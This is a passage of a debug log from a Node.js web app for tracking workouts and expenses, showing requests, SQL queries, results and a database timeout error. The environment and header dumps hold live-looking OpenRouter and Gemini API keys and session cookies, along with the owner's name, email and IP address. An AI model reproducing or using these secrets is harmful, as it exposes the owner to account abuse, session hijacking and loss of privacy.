    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-25T10:51:13.098Z server-connect:router Serving serverConnect /api/health/get-exercises
2025-12-25T10:51:13.099Z server-connect:app Executing action step identify
2025-12-25T10:51:13.099Z server-connect:app options: { provider: 'security' }
2025-12-25T10:51:13.099Z server-connect:output identity: 1
2025-12-25T10:51:13.099Z server-connect:app Executing action step restrict
2025-12-25T10:51:13.099Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T10:51:13.099Z server-connect:output restrict: undefined
2025-12-25T10:51:13.099Z server-connect:app Executing action step select
2025-12-25T10:51:13.099Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'workout_exercise' },
    primary: 'exercise_id',
    joins: [],
    query: 'select `exercise_id`, `workout_name`, `exercise_name`, `type`, `no_of_sets`, `group`, `workout_day` from `workout_exercise` where `workout_exercise`.`schedule_id` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    sub: { workout_tracker: [Object] }
  }
}
2025-12-25T10:51:13.103Z server-connect:output list: [
  {
    exercise_id: 1,
    workout_name: 'Chest',
    exercise_name: 'Bench Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object], [Object], [Object], [Object] ]
  },
  {
    exercise_id: 2,
    workout_name: 'Back',
    exercise_name: 'Dumbell Row',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 3,
    workout_name: 'Chest',
    exercise_name: 'Incline Dumbell Press',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 4,
    workout_name: 'Chest',
    exercise_name: 'Pec Deck Fly',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object] ]
  },
  {
    exercise_id: 5,
    workout_name: 'Shoulder',
    exercise_name: 'Dumbell Overhead Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 11:05:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 11:05:20' as DATETIME)"
}
2025-12-25T11:12:09.120Z server-connect:router Serving templateView /exercise/2
2025-12-25T11:12:09.121Z server-connect:app Executing action step identify
2025-12-25T11:12:09.121Z server-connect:app options: { provider: 'security' }
2025-12-25T11:12:09.121Z server-connect:output identity: 1
2025-12-25T11:12:09.121Z server-connect:app Executing action step restrict
2025-12-25T11:12:09.121Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T11:12:09.123Z server-connect:output restrict: undefined
2025-12-25T11:12:09.123Z server-connect:router Render template layouts/main
2025-12-25T11:12:09.123Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': { schedule_id: '2' },
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/exercise/2',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/exercise/2',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/workout-exercise'
}
2025-12-25T11:12:09.422Z server-connect:app Executing action step identify
2025-12-25T11:12:09.422Z server-connect:app options: { provider: 'security' }
2025-12-25T11:12:09.422Z server-connect:output identity: 1
2025-12-25T11:12:11.991Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-25T11:12:11.992Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-25T11:12:11.993Z server-connect:app Executing action step identify
2025-12-25T11:12:11.993Z server-connect:app options: { provider: 'security' }
2025-12-25T11:12:11.993Z server-connect:output identity: 1
2025-12-25T11:12:11.993Z server-connect:app Executing action step restrict
2025-12-25T11:12:11.993Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T11:12:11.994Z server-connect:router Serving serverConnect /api/health/get-exercises
2025-12-25T11:12:11.994Z server-connect:output restrict: undefined
2025-12-25T11:12:11.994Z server-connect:app Executing action step select
2025-12-25T11:12:11.994Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-25T11:12:11.995Z server-connect:app Executing action step identify
2025-12-25T11:12:11.995Z server-connect:app options: { provider: 'security' }
2025-12-25T11:12:11.995Z server-connect:output identity: 1
2025-12-25T11:12:11.995Z server-connect:app Executing action step restrict
2025-12-25T11:12:11.995Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T11:12:11.996Z server-connect:app Executing action step identify
2025-12-25T11:12:11.996Z server-connect:app options: { provider: 'security' }
2025-12-25T11:12:11.996Z server-connect:output identity: 1
2025-12-25T11:12:11.996Z server-connect:app Executing action step restrict
2025-12-25T11:12:11.996Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T11:12:11.998Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-25T11:12:11.999Z server-connect:output restrict: undefined
2025-12-25T11:12:12.000Z server-connect:app Executing action step single
2025-12-25T11:12:12.000Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-25T11:12:12.000Z server-connect:output restrict: undefined
2025-12-25T11:12:12.000Z server-connect:app Executing action step select
2025-12-25T11:12:12.000Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'workout_exercise' },
    primary: 'exercise_id',
    joins: [],
    query: 'select `exercise_id`, `workout_name`, `exercise_name`, `type`, `no_of_sets`, `group`, `workout_day` from `workout_exercise` where `workout_exercise`.`schedule_id` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    sub: { workout_tracker: [Object] }
  }
}
2025-12-25T11:12:12.001Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-25T11:12:12.004Z server-connect:output list: [
  {
    exercise_id: 1,
    workout_name: 'Chest',
    exercise_name: 'Bench Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object], [Object], [Object], [Object] ]
  },
  {
    exercise_id: 2,
    workout_name: 'Back',
    exercise_name: 'Dumbell Row',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 3,
    workout_name: 'Chest',
    exercise_name: 'Incline Dumbell Press',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 4,
    workout_name: 'Chest',
    exercise_name: 'Pec Deck Fly',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object] ]
  },
  {
    exercise_id: 5,
    workout_name: 'Shoulder',
    exercise_name: 'Dumbell Overhead Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 6,
    workout_name: 'Arms',
    exercise_name: 'Standing Bicep curl',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  }
]
2025-12-25T11:13:50.408Z server-connect:router Serving templateView /exercise/2
2025-12-25T11:13:50.410Z server-connect:app Executing action step identify
2025-12-25T11:13:50.410Z server-connect:app options: { provider: 'security' }
2025-12-25T11:13:50.410Z server-connect:output identity: 1
2025-12-25T11:13:50.410Z server-connect:app Executing action step restrict
2025-12-25T11:13:50.410Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T11:13:50.411Z server-connect:output restrict: undefined
2025-12-25T11:13:50.411Z server-connect:router Render template layouts/main
2025-12-25T11:13:50.412Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': { schedule_id: '2' },
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"11fff-HmZhRifL9C4PG3LzOWU8sqdLGqM"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/exercise/2',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
